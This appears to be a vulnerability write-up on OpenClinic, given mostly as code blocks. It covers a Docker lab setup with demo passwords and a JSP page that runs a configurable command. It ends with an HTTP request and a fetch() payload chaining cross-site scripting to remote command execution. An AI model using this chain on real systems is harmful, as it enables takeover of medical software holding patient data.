I don't fear another Cross Site Scripting exploitation, i fear a chained one.
# NOT PRODUCTION READY
# create docker db
docker network create openclinic-net 2>/dev/null || true
docker run -d \
--name openclinic-db \
--network openclinic-net \
-e MARIADB_ROOT_PASSWORD=rootpass \
-p 3306:3306 \
mariadb:10.6 \
--lower-case-table-names=1 \
--character-set-server=utf8 \
--collation-server=utf8_general_ci
# init the database using the DEMO db
zcat openclinic-demo-db.sql.gz | docker exec -i openclinic-db mysql -u root -prootpass --force
# setup docker db user and permission
docker exec -it openclinic-db mysql -u root -prootpass -e "
DROP USER IF EXISTS 'openclinic'@'localhost';
DROP USER IF EXISTS 'openclinic'@'127.0.0.1';
DROP USER IF EXISTS 'openclinic'@'%';
CREATE USER 'openclinic'@'localhost' IDENTIFIED BY '0pen';
CREATE USER 'openclinic'@'127.0.0.1' IDENTIFIED BY '0pen';
CREATE USER 'openclinic'@'%' IDENTIFIED BY '0pen';
GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'localhost';
GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'localhost';
GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'localhost';
GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'localhost';
GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'127.0.0.1';
GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'127.0.0.1';
GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'127.0.0.1';
GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'127.0.0.1';
GRANT ALL PRIVILEGES ON ocadmin_dbo.* TO 'openclinic'@'%';
GRANT ALL PRIVILEGES ON openclinic_dbo.* TO 'openclinic'@'%';
GRANT ALL PRIVILEGES ON ocstats_dbo.* TO 'openclinic'@'%';
GRANT ALL PRIVILEGES ON ikirezi.* TO 'openclinic'@'%';
FLUSH PRIVILEGES;
"
# start docker app
docker run -d \
--name openclinic-web \
--network openclinic-net \
-p 8080:8080 \
-v "$PWD/web:/usr/local/tomcat/webapps/openclinic" \
-v "$PWD/web/WEB-INF/lib/mysql-connector-java-5.1.10-bin.jar:/usr/local/tomcat/lib/mysql-connector-java-5.1.10-bin.jar:ro" \
tomcat:9.0-jdk8
# visit the app and login using openclinic:openclinic
curl -v --max-time 30 http://127.0.0.1:8080/openclinic/index.jsp
while (itr.hasNext()) {
i++;
FileItem item = (FileItem) itr.next();
if (item.isFormField()) {
} else {
try {
String fn = SCANDIR_BASE + "/from/" + filename + "_" + i;
File savedFile = new File(fn);
InputStream is = item.getInputStream();
FileUtils.copyInputStreamToFile(is, savedFile);
is.close();
DicomObject obj = Dicom.getDicomObject(savedFile);
if (obj == null) {
errors.add(item.getName());
} else {
patients.add(obj.getString(Tag.PatientID));
studies.add(obj.getString(Tag.StudyID) + "</td><td>" + obj.getString(Tag.StudyDescription).replaceAll("\\^", " "));
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
# login endpoint
http://localhost:8080/openclinic/login.jsp?Title=OpenClinic&Dir=
# homepage endpoint
http://localhost:8080/openclinic/main.do
# current profile endpoint
http://localhost:8080/openclinic/main.do?Page=userprofile/index.jsp
# new patient endpoint
http://localhost:8080/openclinic/patientnew.do?PatientNew=true
http://target.com/main.do?Page=folder/local.jsp?paramforlocal=example <-- pseudo URL example
<%@ page import="be.mxs.common.util.system.Miscelaneous,be.mxs.common.util.db.MedwanQuery" %>
<%
Miscelaneous.startApplication(MedwanQuery.getInstance().getConfigString("readPictureApplication","cmd /c d:/projects/openclinic/web/util/storePicture.bat")+" "+request.getParameter("personid"),
MedwanQuery.getInstance().getConfigString("readPictureDirectory","d:/projects/openclinic/web/util"));
%>
29 public static void startApplication(String app,String dir){
30 try {
31 Runtime.getRuntime().exec(app,null,new File(dir));
32 }
33 catch (IOException e) {
34 e.printStackTrace();
35 }
36 }
POST /openclinic/main.do?Page=util/configparameters.jsp HTTP/1.1
Host: localhost:10088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 266
Origin: http://localhost:10088
DNT: 1
Connection: keep-alive
Referer: http://localhost:10088/openclinic/main.do?Page=util/configparameters.jsp
Cookie: JSESSIONID=AE6D6A762B31E21A560100F5849C2B9C
Upgrade-Insecure-Requests: 1
Priority: u=0, i
save=Save&par_readPictureApplication=[COMMAND]&par_readPictureDirectory=[FOLDER]
fetch('http://[TARGET]:[PORT]/openclinic/main.do?Page=util/configparameters.jsp', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
save: "Save",
par_readPictureDirectory: "[FOLDER]",
par_readPictureApplication: "[COMMAND]" })
}).then( response => {
fetch('http://[TARGET]:[PORT]/openclinic/main.do?Page=util/storePicture.jsp', {
method: 'GET',
mode: 'no-cors',
credentials: 'include'
});
});